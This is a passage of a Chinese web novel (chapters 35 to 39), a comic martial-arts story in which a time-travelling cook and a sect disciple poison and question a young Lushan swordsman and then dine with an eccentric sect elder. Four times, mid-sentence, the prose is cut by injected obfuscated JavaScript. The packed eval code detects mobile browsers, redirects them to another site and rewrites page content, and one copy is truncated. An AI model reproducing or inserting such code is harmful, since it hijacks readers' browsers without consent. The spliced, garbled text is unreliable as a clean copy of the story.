“弟弟别这么说,难不成你就是什么乖得不行的人吗?”唐雪意褪去方才的娇气可人,沁着嘴角笑得深不可测。 “呵是那兔腿?”莫年靠着石头缓慢开口道,每一个字都说得无比艰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559192|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难。 “不不不小朋友,兔兔那么可爱我怎么忍心下毒呢,是这里的一草一木最喜欢你了,想和你玩个骗人就要付出代价的游戏。”程六水美滋滋地掰了片嫩到一晃就要散开的法式烤鸡胸吃着。 “我骗人?我哪里骗人了?”莫年自认没露出过什么马脚,这一路上装得就差成那哈巴狗了。 “你演得很好,只怪我有个朋友总喜欢酿酒,我没事就品鉴一二,一来二去这酒量就上来了。想必昨夜你将我们带走的时候,又灌了我们不少酒吧?却不想我还是醒得这般早,听到了你与你那师兄的交谈,万幸我听见了,才知江湖上威名赫赫的庐山派竟做些拐卖女子的勾当!”程六水直视着莫年,想看看这人还能胡诌些什么。 莫年眼神忽而闪躲,低下头来静默许久才道,“我一人做事一人当,与庐山派毫无关系。”说罢伸出痛到颤抖的手去抓住腰间的佩剑,竟想要拔出一死了之。 这给唐雪意吓得,一个泥巴块又扔过去了,将那剑砸得远远的,“你这人就是个疯子!” “疯子又如何,反正我不是被你们毒死,就是在被扔在这山林里喂野兽,有什么区别吗?”莫年冷言道。 “那还是有区别的,我没想毒死你,你中得不过是鄙人独创的灵丹妙药——肌香玉骨方,取了桂枝,白参,桃仁,何首乌十几种药材磨成粉末,在肌肤上一抹便能使人瞬间肤白胜雪,当真是买不了吃亏买不了上当啊。”程六水说到兴处,还站起来高举双臂振奋道。 话锋一转接着说道,“但你应该没什么用处,你这皮肤太好了,吹弹可破跟那煮熟的蛋清一样,还得是年轻啊。” “咳咳!”唐雪意都要听不下去了,这话题怎么越跑越偏,她们是要套这小子话,不是在这卖药的。 程六水心虚地咧开嘴笑了笑,看着已然半死不活的莫年说道,“说起来还得感谢你呢,我最近脑子好使很多,前两天刚想起这方子做成带在身上,准备推销一二。没想到遇见了你,我一下子脑子更好使了,想起来这方子与一物相克,这里就有,两者一混合就成你现在这样了,更巧的是解药这里也有哦~” 莫年听了这话仍旧默不作声,仿佛已然笃定要打死不开口了,哪怕真死在这里。 唐雪意这才正襟危坐道,“你出自庐山派,年岁不大武功却高,如此身手就算再天赋异禀,没有人点拨也是不成的,十年前庐山派莫掌门收了一关门弟子,随了他也姓莫。可惜莫掌门重病缠身多年,只剩一口气吊着,视他如父如兄的小弟子只能铤而走险,听信邪术去寻年轻姑娘延续莫掌门的性命。 要是莫掌门有一天醒来,见他献出半生心血的庐山派竟成了如今正不正邪不邪的样子,该作何想?怕是要再一头撞死吧。” 莫年咬着牙倔强的泪含在眼圈里迟迟不肯落下,虽动弹不得仍旧努力抬起手来妄图堵住面前二人的嘴,“不许辱没掌门!” 36. 第 36 章 哦豁我滴个乖乖,难不成真是这样,程六水掩饰住心中的震惊,雪意这一番言辞只不过是为了诈诈这个少年,没想到竟弄巧成真了。 唐雪意转头看向程六水,挤眉弄眼地无声说道,“真是这样!” “既如此你直接将我们掳走便可,何必假情假意地还演上这么一遭?”程六水好奇问道。 莫年又沉默不语了,猩红着眼尾甚至闭上了眼睛。 程六水不得不感叹庐山派这般行事确实是疯狂至极,可门中弟子武功高嘴严,对师门的荣辱看得比自身性命还重,怪不得庐山派前些年如此声名远播,那掌门定是有两把刷子的。 她的记忆中,多年前庐山派也曾与程门打过交道,却与兵器机关无关,而是采买了一批罕见的药材。 程门隐藏在庐州某处的一座深山中,后山草木旺盛地气甚好,某一代门主爱研制药方,便在此处开辟了一方药园,种上了许多珍稀草药。故而程门后人多多少少皆通药理,自然了程六水这个丢失了关键记忆的家伙,是前几日才想起来的。 而让莫年痛苦不堪的肌香玉骨方,则是程六水顺手取了些杜少仲菊花白酒的药材做成的,自己试用后格外的好,她都想拿出去买了赚大钱! 至于当年庐山派采买的那批药材,程六水只记得父母曾暗自揣测庐山派是否出了事,不然怎会要这么多救命救急的灵药。她想,或许在许多年前庐山派掌门就已察觉身体不对了,撑着病弱的身体将庐山派发扬光大,确实当是一代英雄豪杰。 但英雄豪杰的命也不能用无辜女孩的命来换吧! “你若是再不说,知道此事就不是我们两个了,而是整个江湖。”程六水再次威逼道,此事确实疑点重重,可这少年到底没有伤着她们,甚至还做小伏低了一番。 莫年猛地抬头,显然他不怕死,但他怕师父耗尽心血的庐山派毁了,“我得了长老之命,子月子时寒水之地寻一女子带回,此人便是可救命之人。许多师兄弟皆被派出,先前两年均带回了不少女子,可无一人能与师父过了血契,我们只能将她们送回,期间送上无数金银财宝,她们才承诺不再提及此事。” 子月子时?血契?程六水眼睛都冒亮光了,你看看谁说穿越就只能做饭啊?这不还能身临其境体验玄学吗?她就说她不能只是个在后厨颠大勺的NPC吧! 紧接着程六水肩膀一重,唐雪意紧紧按住了她,实在是不怪唐雪意,任谁见了好端端个人忽而眼冒金光,神情飘忽甚至还有一丝莫名的兴奋,都得赶紧制止住程六水。 毕竟她与程六水交情不长,都能发觉此人的脑袋多多少少是同旁人不同的,大抵这就是缺根筋吧。 “咳咳,那你为什么不给我们金银财宝?”程六水心虚地咳了两声质问道。 “……长老说没钱了,让我们自力更生,师兄们说出卖色相也能成,带女子上了山见长老,若不是掌门的命定之人我就试了试,没想到第一次就遇到了你们俩。”莫年脸色微红道。 “该说不说,你这个色相还是不错的。”程六水拉着唐雪意走进,仔仔细细地端详起莫年来,眼若桃花神似艳李当真是个唇红齿白的俏郎君,身量如竹柏般挺拔待到过几年,长得只怕要更好。 莫年不敢抬头,这目光虽不露骨却直白,自己如同砧板上的鱼肉,被人翻来覆去看了个遍,得了句称赞“好鱼”。 “这么说来,庐山派倒也不算丧心病狂,顶多是病急乱投医,赔钱还赔人。”唐雪意抿嘴道,给程六水递了个眼神。 “好吧好吧。”程六水一把掰开莫年的嘴,几片深褐叶子就被扔了进去,差点给莫年噎死。 “一个时辰后,你这毒便解了,我不能与你在这里瞎扯了,我还要回去赚钱呢。”程六水说罢,就套了马要往回跑。 “别……别走,我要带你们去见长老,万一你们便是长老要找的人呢。”莫年服下草药便好了不少,只不过还是全身无力,无法调用周身功法。 “哦,那你有钱给我们吗?”程六水仰着头一脸期盼道。 “……没有。”莫年别别扭扭地脸更红了。 “没有见什么见!雪意我们走!”程六水潇洒就要离去。 忽而山林间狂风大作,本就摇摇欲坠的大片叶子哗啦啦掉落一地,澄蓝的天空顿时乌云密布,阴沉沉地仿佛在发火。 只见一人仙风道骨地斜坐在一只通体雪白的公牛之上,那白牛越跑越急见了风更是自乱阵脚,前蹄打后蹄的,自己跟自己较上了劲。 而牛背上的人再也端坐不住了,只得死力抓住牛角操控着方向,一身素白长袍扯得乱七八糟,特意留得两缕长长白胡须都快刮到脸后面去了,“让开让开!” 程六水吓得躲在唐雪意身后,荒山野岭哪来的疯牛疯人。 那白玉牛并非径直地而来,天地万物皆有自身灵性,这不白玉牛绕着先前搭起的柴火就绕起了圈,速度之快令人瞠目结舌,毕竟这牛一看就平日里没少吃,都算得上是一头肥肥牛了。 “啊!救命啊!”牛背上的人这回使劲夹着牛腹也用不上力气,只能踹到白玉牛肥美可爱的脂肪肚肚。 莫年此时站了起来,纵使虚弱无力,仍是拄着手中的剑,顶着嗷嗷吹的大北风,意图阻止白玉牛的发疯。 所有生灵在此刻都凌乱着,狂风重重拂过焦黑的柴火,本该猖狂蔓延的火苗生生被白玉牛绕没了生气,最终居然真的在苦苦支撑的莫年面前停了下来。 “长老您怎么下山了?”莫年一瞬间卸了力,直直倒在地上,还不忘开口询问道,言语中皆是毕恭毕敬,与先前面对那些师兄的态度截然不同。 庐山派长老张立冬慢慢地从白玉牛身上下来,将自己的胡须捋直,头发摆正,长袍收拾得妥帖后才答道,“我掐指一算,便知你定是遇上难事了,这不才牛不停蹄地赶过来嘛。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570982|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不过是玩闹一场,弟子已然无大碍了,辛苦长老专程跑下来一趟。”莫年颔首谦恭道,身子却故意挡在唐雪意与程六水的身前,生怕长老责怪这二人。 可惜唐雪意却丝毫没看出少年的良苦用心,大大方方拱手行礼道,“晚辈雪窦派唐雪意见过张长老。” “原是雪窦派的,难怪我瞅你眼熟。”张长老含笑如长辈般笑道。 “晚辈半年前有幸在雪窦山远远拜见过长老。”唐雪意弯唇一笑,乖巧地如同方才什么下毒威逼利诱都没发生过。 一旁的莫年刹那间瞪大了眼睛,久久未移开目光,满心满眼全是震惊,唐雪意居然是雪窦派的师姐,自己竟然掳走了与庐山派有千丝万缕关系的雪窦派中人。 他识人不清甚至妄图欺骗女子情感来蒙混过关,这其间种种如何还能有脸在她面前待着,愈想愈发觉着羞愧,恨不得现下就找个地缝钻进去。 张长老却并未在意,仍在和颜悦色地问话道,“这次来庐山可是有事啊?想来冬至之期快到了,有什么不顺之处吗?” 唐雪意不经意瞟过低头都快低到柴火堆里的莫年,心中便有了计量道,“一切皆是顺利,只是在江陵遇上了莫师弟多聊了两句,听闻隆冬时节庐山景色美不胜收,我便随师弟前来瞧瞧。” 莫年又是心下一紧,顿时五味杂陈了起来,她非但不提那些蝇营狗苟,竟还帮自己周全遮掩,被磋磨了许久的少年居然此时生出了无尽的感激之情来。 “江陵?”张长老颇有意味地重复问道。 “正是江陵,此次我早早到了江陵,方知此处是样样都好,尤其美食佳肴最佳,这位便是我在江陵办事时结识的程六水。”唐雪意引着程六水上前道。 “见过长老了,小女子江陵十全酒楼程六水。”程六水落落大方道,她在此人身前方才察觉,这位长老年岁似乎并不大,将将过而立之年而已,乌发俱黑唯独两捋长胡须是白的,这才平白添了不少年纪。 张长老一听此话连连退后几步,“你说你是什么酒楼的?” “十全酒楼。”程六水口齿清晰地重复道。 张长老此时哪里还能继续与小辈寒暄,整个人就差抱头鼠窜了,迈开腿就要去找刚才把他甩下来的大胖牛,“哎呀我不能和你们多说了,我得回山上了好多事呢!” “长老?长老您不捎我一段吗?”莫年腿还软着呢,他不得不抬起头出言道。 “小年年,你可以的你带着两位姑娘好好逛逛啊,我先走了。”张长老说罢夹起牛肚往山上跑去。 结果没走两步,就听身后传来了震彻山林的熟悉声音,“这么多年了,立冬师兄还是如此,见到我就跑,莫不是我得罪过你?” 张长老立时呆滞住了,而那白玉牛也不听他的话,压根就往前跑,他静默许久仿佛是装作自己是颗树,直到眼前出现了熟人,才勉强开口道,“清寒许久未见啊,你又长高了。” 37. 第 37 章 程六水被张清寒一把拉到身后,宽厚的肩膀直直挡在她眼前,什么也看不见,只能听见张长老声音都是颤抖的,不禁腹诽道,什么又长高了?东家都多大了还在长啊?长成窜天猴得了。 “师兄风采依旧,依旧长须飘飘颇有出尘之感。”张清寒笑道,心下却很是担忧,欲立时就转头看看程六水有没有哪里伤到了。 “哪里哪里,我不过是闲云野鹤惯了,不修边幅了些。”张立冬讪讪笑道。 “师兄不必诳我,江湖八大派之首的庐山派怎会是闲云野鹤的地方,更何况莫掌门重病不起,你作为长老已然是代掌门了。”张清寒显然是来的路上调查过了,顺藤摸瓜才查到了自家不靠谱的师兄竟做了一派的长老。 那时正是天光大亮,一帮人三三两两地睡哪的都有,杜少仲趴在酒缸里睡了一夜,马陶陶依偎在乔四方身旁赖着起不来,就张清寒还算是体面,知道要回房睡,只不过是直接醉倒在了自己卧房的地上。 第一个醒来的是万事都谨慎小心的赵玉雨,她趴在桌子上睡得浑身腰酸背痛,刺眼的艳阳照在眼皮上,眼皮挣扎了几个回合,最终也只能败下阵来,从黑甜的梦乡里逃脱出来。 赵玉雨摇摇昏沉的脑袋,眼前一片重影,她迷迷糊糊地伸出纤细食指,决定数一数大堂里有几个人,一个两个三个,数着数着就又重影了,她只得出声道,“六水你快帮我看看,不会数数了。” 回应她的是大堂里的清澈的回声,马陶陶被这出声吵醒了,揉了揉睁不开的眼睛道,“玉雨你说啥?” “我说啥?我也忘了我说啥了,对我在找六水,六水我没见着,陶陶你倒是有两个了。”赵玉雨难得懵懵的,撑起脸庞道。 “六水?”其余几人也行了,纷纷环顾四周,发现六水居然真的不见了。 而裴然之则发现自己的小师妹亦无影无踪了,急得瞬间头不晕脚不软了,急吼吼地去敲张清寒房门,“咚咚咚。” 张清寒撑着苍白的脸缓慢地开了门道,“裴少侠,这么早有何事?” “我师妹不见了,六水姑娘也不见了。”裴然之急切道。 张清寒顿时那脸彻底没了血色,素来沉稳的步伐竟有一丝慌乱,带着所有人将酒楼里里外外翻了个遍,也没找到这二人的存在。 “不会是仇家寻仇吧?”杜少仲心急地揣测道。 “六水平日里就在酒楼忙活着,她哪有时间得罪仇家啊。”马陶陶立马摇头道。 “那是不是和唐女侠出去玩去了,玩了一夜就睡外面了,咱昨天喝了那么些酒,且醒不过来呢,”乔四方皱眉道。 张清寒静静坐在椅子上一言不发,面上半点表情也没有,仿佛在听大家七嘴八舌地分析着,又仿佛是在等什么人。 忽然紧闭的酒楼大门被敲响了,那敲门声不大不小间隔不短不长,众人顿时都不吵吵了,坐在最外边的杜少仲对着门喊道,“今日酒楼歇业,客官明日再来吧。” 话落地没几瞬,又传来了敲门声,乔四方立起眼睛试探地看向张清寒,张清寒点了点头,平日里看起来愣头愣脑的乔四方马上心领神会,快步走上前去打开了酒楼大门。 门外是一粗布麻衣的年轻男子,最不起眼的长相,放在大街上没人会注意甚至见了几面都还认识。 男子略过诸人,恭敬地向张清寒颔首,紧接着从衣袖中取出了一密信交给了乔四方,连门都没进就径直走了,眨眼间便隐没在人群中,再难寻其踪迹。 张清寒打开那密信的瞬间便坐不住了,他转身朝着裴然之道,“裴少侠烦请随我一同去个地方,其余人留在酒楼里好好休息。” “东家我也跟你们一起去吧。”乔四方虽不知那密信中写了什么,却明白自己断不能躲在后面当缩头乌龟。 “不必,我与裴少侠便能应付得了,你留下来保护大家,若是有什么意外去城外李子坞。”张清寒拍了拍他的肩膀道。 张清寒与裴然之两匹快马就朝着庐山方向行进着,沿途路过驿站,便有人送上休息得当的千里马以及最新的情报,直到到了庐山脚下最后一处驿站,张清寒见着密信终于笑了。 这个惯会捉弄人的促狭鬼,在人生地不熟的荒郊野外还能捉弄别人给人下药,真是胆大妄为。 裴然之见张清寒笑了,他这七上八下的心也算是放下了道,“她们没事了?” “暂时没事了。”张清寒微笑道,正欲出发上山不曾想,又有一人小跑前来,神情比前几次来送信的人慌张许多。 张清寒半刻不敢耽误,只得打开只见几个大字,“庐山张立冬长老”。 立冬是个节气,也可以是个人,张姓则是芸芸众生里最普通最不起眼的姓,如此名字的组合便觉此人不过是个寻常人而已。 其实不然,六白山上取名便是如此,赵钱孙李周吴郑王,随便找个人多的姓氏,见花好便唤李花花,见月好就叫钱月牙,自然了张立冬张清寒这些个名字也是怎么得来的。兴许是六白山一年里有半年都是冰雪覆盖的,山门里的孩子们就都是什么冰啊雪啊,反正起的都是一听天就冷的名字。 而这位立冬师兄比张清寒年长好几岁,他根骨不佳打拳只能打喵喵拳,读书犯困摇头晃脑直接能砸桌子上,甚至有次站着背书都能睡着,差点就一头扎进窗外的冰窟窿里。 文不成武不就,立冬师兄便去学了医道,把脉三个月还是没找着脉,让他一摸整个六白山就没几个活着的了。 直到他遇着了六白山里一位深居浅出的师父,那师父教他五行八卦卜算风水,不出几年竟真有所成,而且立冬师兄还有一天赋异禀之处,那便是运气极好,总能化险为夷。 就比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570983|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如他曾经做了一处山楂树阵,一不留神踏入集中便必须按照八卦风水阵才能走出,若是随便走来走去那就只有被这变幻莫测的阵法折磨得饿肚子了。 当年年纪尚轻的张清寒还没板凳高,板着张脸在太白山上练剑,再一抬头好家伙周围怎么全是山楂树,天寒地冻的时节,小小的张清寒只能不停练剑动起来,才不至于冻得硬邦邦的,饿了就吃树上的山楂。 最可气的是这位立冬师兄拿什么果树做阵不好,非得是那山楂,张清寒越吃越开胃,饿得肚子咕噜噜叫个不停。 困了整整一天一夜,企图用卜算来提升牌运的立冬师兄才姗姗来迟,张清寒那脸上头发上全都是碎冰茬,依旧板着一张脸默不作声。 这可把立冬师兄吓坏了,将他带回自己院子里好一顿暖和,多烧了好几个炭盆,但过了好一会儿,也不见张清寒说话。 立冬师兄生怕真把这小子脑袋冻坏了,用他那一瓶子不满半瓶子也不满的医术一把脉,完了!这小师弟的三魂六魄都快没了。 “师弟啊都是我的错,你可别死啊,师兄还不知道你叫啥名呢,我都不知道把你往那送啊。”立冬师兄一阵鬼哭狼嚎,鼻涕泡都出来了。 “。。。没死,我叫张清寒,我记住你了。”幼时的张清寒就是不爱说话的性子,而且非常记仇。 随后立冬师兄终于体会到了什么叫人小本事大,自己就差被整得体无完肤了,直到后来张清寒渐渐长大了,许是哪一日练剑的时候,体会到了什么叫做同门情谊。 张清寒主动送了一个大果篮给立冬师兄,立冬师兄本来美滋滋地接了过去,觉着这小子还算孺子可教,结果果盘里有。。。山楂。 于是立冬师兄打着铺盖卷就下山历练去了,小时候的张清寒顶多就是给他饭里倒石子,但长大后的张清寒剑术一绝,打自己这个肩不能扛手不能提的师兄,可不是能一剑串俩嘛,就跟那山楂冰糖葫芦一样。 庐山脚下能见着这位师兄的名字,张清寒顿时放心了下来,年少时的玩闹折腾令他深知,这位师兄人不坏就是脑子有点傻,六水在他手底下没什么事,说不定六水也能给立冬师兄下个药。 而凭借一身卜算风水本事当上庐山派长老的立冬师兄抹了抹额间吓出的冷汗道,“师弟啊,你就饶了我吧,我这些年总梦见你给我饭里倒石子,梦里我那满口牙都掉没了,给我吓得成宿成宿睡不着。” 张清寒这回是真笑了,“师兄我此次不是来找你麻烦的,只是我的。。。朋友失踪了,我一路追过来,碰到师兄当真是巧合,而且你放心现在我是不会再往你饭里放石子了。” “失踪了?你说的朋友不会是这位程姑娘吧?她不是和唐师侄一同来游览庐山的吗?莫年你说说这到底是怎么回事?”立冬师兄满脸怀疑地看向正在默默缩小自己存在的莫年道。 38. 第 38 章 纸是包不住火的,更何况是油纸,莫年只得老老实实地交待事情原委,满脸羞得通红不知所措,再怎么城府颇深也还是个十六七岁的江湖少年。 立冬长老眉毛听得越来越皱,嘴角却止不住地上扬,你还真别说那莫老哥收得小徒弟真有意思,送上门去做人家雪窦派上门女婿,结果没做成还被下了药,瞅这天可怜见的,现在走道还不利索呢。 向右转过头正想同人一起吃瓜,结果旁边站得正好是张清寒,心里那点子八卦心态全被怒火拱走了,要不是那小子哪能找来清寒师弟这煞星,可恶着实可恶! 立冬长老抬起手就想去揍莫年,忽而遇上一股莫名的阻力,左边一只手伸过来道,“长老吃瓜子吗?我昨天刚炒的焦香干脆!” “吃!”立冬长老是个从不委屈自己的主儿,比起给那小子一巴掌自己的手掌也得疼,还不如嗑瓜子看戏呢,哎刚才溜号演到哪了? 莫年正别别扭扭地向唐雪意道歉,唐雪意抿着嘴说道,“不妨事的,你以后可别再这样了,同人家姑娘好好说,总有人热心肠的愿意帮忙的。” 她语气温温柔柔的,如一道明媚的骄阳笼罩在莫年隐隐有些阴暗的心上,莫年克制住自己忍不住想要靠近的冲动,可惜少年的心意哪是那么容易隐藏的。 “莫师弟年纪还小,还需历练,我们雪窦派欢迎你随时来做客。”裴然之快步走到了唐雪意身旁,甚至挡住了两人交汇的视线。 “啧啧啧。”程六水暗暗摇头小声道,这不就是雄竞修罗场吗?年下直球狼狗不错,年上温柔引导型恋人也挺好,她决定要和雪意做一辈子的挚友,这样每天的生活都会非常缤纷多彩。 正当她还沉浸在对未来的美好幻想中时,只听耳边传来了清冷的声音,“立冬师兄,若是你真的找到了那命定的女子,你又意欲何为呢?如何能救莫掌门?还有你怎知谁才是你卜算中的女子?”张清寒好奇道,他素来不擅这些五行八卦,现下倒是静下心来想听年少的仇敌说上一二。 立冬师兄故作高深地若有所思道,“正可谓道生一,一生二,二生三,三生万物。。。” “说人话。”张清寒不假思索打断道。 “我不知道,就算见到了或许我也不识得,但这些女子被带上山来就是与莫老哥结下因果,这因果终将随着命运的流转回到莫老哥身上,总有一日莫老哥会因她们其中一个醒来。”立冬长老耸肩道。 “听不懂。”张清寒面无表情地看着立冬师兄道。 “我听懂了,莫掌门一定会醒,也许很快也许很慢,这都看个人缘法。”程六水举起手抢答道。 “程姑娘不想你居然有如此慧根啊,当真是孺子可教也,你不该去做什么厨子,你若是拜我为师,不出十年定能有所大成。”立冬长老说着又从程六水的口袋里抓了把瓜子嗑起来,真好吃啊! “?”张清寒挑着眉紧盯着立冬师兄,一双眼睛如毒蛇般要咬死他。 “不必了不必了,我哪里有什么慧根啊,还不是见了您哎呦那就好像天灵盖都通气了,腿不疼了手也不酸了,脑子还比以前好使了,这都是您的大智慧啊。”程六水咧着嘴就开始叭叭叭,那哄人的话都快飞到天边了。 立冬长老听了这一席话不禁快要老泪纵横了,这么多年了终于有人能懂自己了,恨不得现在就将一身本领传授给程六水,刚想上前拉她拜师,就撞上了突然出现在身前的张清寒。 “你要做什么?”张清寒立着眼睛没好气道。 “收徒弟啊,师弟你靠边!”立冬长老兴奋劲一上来,都忘了纠缠他颇深的少年阴影了,也不把张清寒当外人了。 “师兄我好不容易来你的地盘一趟,你不招待招待我?”张清寒冷着脸道。 立冬长老这下才反应过来,这小清寒是生气了?生哪门子气啊?算了算了还是顺着点他吧,毕竟现在整个庐山派就没有能打得过他的。 “招待肯定招待,走咱去吃香的喝辣的,穿金的戴银的!”立冬长老一把翻上了大肥牛,余下几人各自上马跟着他就上了庐山。 庐山派坐落在一片竹林之中,穿过七拐八拐的竹林终于来到了一处巨大的楼宇间,三五成群的弟子们在此处研讨武学比试剑法,好不热闹,见着立冬长老皆点头行礼。 “这里便是庐山派的讲学堂了,绕过此处便是品味居,是门派中人衣食住行之所在,也就无需弟子们总是下山买些小玩意了。”立冬长老引着大家来到了品味居的僻静后院。 不多时,就一桌子菜就上齐了,程六水兴致勃勃地一道道仔细研究了起来,她自从穿越来这就当厨子,还没怎么吃过别的厨子做菜呢,俗话说三人行必有我师,单单只闷头哐哐做菜可不行,还要多。。。吃别的厨子做的菜! 此处用的盘子极大,但与北方层层堆叠不同,这里更偏向于将菜码满在盘子里,入目便是一片红艳,各式各样的辣椒仿佛用了个遍,空气中似乎都充斥着辛辣的味道,不断地刺激着在场所有人的味蕾。 “吃大家随便吃!”立冬长老最不爱搞那些虚头巴脑的,指挥着大家动筷起来。 程六水一筷子就近夹起一块鲜红的肉丁,入口便是满嘴的喷香鲜辣,这辣是直冲嗓子眼的,可偏偏这辣得有滋有味,原来这肉丁竟是鸭肉,切成小小一块与干辣椒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570984|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭配在一起,格外合适。 她再用勺子舀起一勺鸭肉,这才发觉不仅有紧实有嚼劲的鸭肉,还有鲜嫩至极的鸭血在其中,程六水脑海里瞬间就蹦出了这道菜的名字“莲花血鸭”。 程六水曾经也学过这道菜,可后来却不常做了,原因便是这菜对鸭子的品种新鲜程度有很高要求,要选莲花县当地的麻鸭,鸭血也是要极为新鲜,现代那种速成的鸭血是做不成这道菜的。 一勺子鸭血鸭肉辣椒进嘴,简直是鲜得舌头要掉了,辣得直跳脚,明明吃得头顶都要冒烟了,却还舍不得不吃,一勺接一勺上瘾得很,整个人在这寒冬腊月都热出一身汗来。 “你看看,六水一看就和我对脾气,这么爱吃辣椒,巧了我也爱吃啊,你说说我们不做师徒唔唔唔。”立冬长老正要继续方才的话题,嘴里就被塞了好大块牛肉。 他嚼着嚼着这才反应过来了,合着是不想让他收六水做徒弟啊?这小清寒和小时候一样,有啥好东西就知道藏着掖着,半点心胸都没有。 不过立冬长老这些年在外闯荡成熟了许多,倒也真不再提起收徒的事了,笑嘻嘻地夹了筷子利村牛肉给程六水,“六水你再尝尝这道菜,客家菜好吃得很,我第一次简直是惊为天人。” 程六水一口下去,腌制的恰到好处的牛肉香气就在嘴里爆开,鲜嫩的汁水四溢开来,麦菜的清香混合其中若隐若现,增添了不可多得的风味,当然了最为刺激的就是爆辣的小米椒在嘴里翻腾着,好吃到舌尖都红了。 她尝出这麦菜定是清晨的头一茬,刚从肥沃的土壤里拔出来,水汪汪的甜滋滋的,牛肉天然的油脂与菜籽油包裹住麦菜,有滋有味得很。 程六水恨不得现在就去品味居大厨那偷师,鲜少吃到肉菜中的绿叶菜如此出彩的,再配一口大米饭,一口饭一口麦菜再来上一口嫩牛肉,轻而易举就扫平了今日一整天的疲惫与不安。 最后再浇上一大勺莲华血鸭同米饭搅拌在一起,米中有血鸭,血鸭中藏着米,满满的吃上一勺,撑得程六水直接打了好几个嗝。 众人酒足饭饱后,多是在庐山派参观一二,而程六水奔着厨房就去,扎进去就不出来了。 “师弟,你为何不让我收六水为徒呢?我是当真与她投缘,她也有缘法定能做出番成就来。”立冬长老道。 “我知道她很聪明,但她志不在此,你看她这一路有问你什么卜算风水吗?现下还不是跑到厨房里去了。”张清寒道。 “你这么一说确实如此,算了强求不得。”立冬长老长舒一口气道。 “还有她不能做我师侄。”张清寒面色平静却又饱含深意道。 39. 第 39 章 立冬长老挑着眉疑惑不解,随后在自家心眼贼多的师弟脸上打量了一圈,才笃定道,“我知道了,是你想收六水为徒吧?你那剑法是童子功,六水虽说年纪不大,但也快二十了吧,你可莫要白日做梦瞎子点灯白费蜡。” 张清寒冰霜一般地面孔忽而笑了,对着眼前这位年纪渐长心智却那么点欠缺的师兄道,“师兄你是怎么当上庐山派长老的?不会是你忽悠莫掌门吧?” “天地良心啊我这人从来就不忽悠人,说话从来都是丁是丁卯是卯。”立冬长老拍着胸脯保证道,一打岔全然忘记了方才要收六水为徒的心思。 “哦?那师兄不妨为我卜一卦?”张清寒坐于竹林间古石凳上,清幽风声吹过,周遭竟寂静了起来。 “你要卜什么?你不是向来不信这些的吗?”立冬师兄狐疑地问道,嘴上虽说着手里却还是从衣袖中取出了三枚日日不离身的铜钱,那铜钱早已被磨得表面光滑。 “少时心性,世间万事尽力而为必能有所成,何需卜算祝祷。如今想来,世事变迁多是十之八九非我所愿,我也早已在其中磨平了自身,可人总有那么几件事是放不下的,于这些放不下的事,就算我知卜算玄之又玄难有验,我亦想试试。”张清寒轻声道,嘴角不易察觉地翘起,似是想到了些什么。 立冬师兄亲自倒了杯热茶递给了张清寒道,“多年不见,师弟你的灵性终于是涨了那么一二分啊,师兄真是深感欣慰啊,来师兄敬你一杯。”说罢自顾自地先痛饮了一杯。 张清寒脑瓜子又嗡嗡疼了,他怎么觉得自己是被骂了,“你到底算不算?” “算啊!来拿着这三枚铜钱,心中默念你的疑惑,虔诚地将铜钱抛于空中六次即可。”立冬师兄赶忙抓住张清寒的手道。 “六次?”张清寒反问道。 “那可不?咋地你以为小孩过家家呢,你随便扔扔就能算出来,你师兄我可是很专业的。”立冬师兄捋了捋自己的两缕贼长的白胡须道。 “哦,我还有个问题。”张清寒又道。 “什么问题?尽管问,我于此卜算一道,敢说江湖中无人能超越我。”立冬师兄说着说着头都仰起来了,活像个雄赳赳气昂昂的大公鸡。 “你为什么头发是黑的,胡子是白的?我记得你也就比我大个七八岁吧。”张清寒面无表情提出了疑惑。 “???说叫你问这个了,你这个土老帽压根不懂,这是潮流这是时尚!”立冬师兄赶紧护住自己两缕宝贵的胡须不肯松手。 “明白了,你臭美自己拿草木灰染的白胡子,学你师父的,东施效颦。”张清寒十分欠揍地笑道。 “你个小兔崽子给我闭嘴,你快扔铜钱!”被戳中痛脚的立冬师兄咋咋呼呼道,他倒要看看张清寒的卦象到底如何。 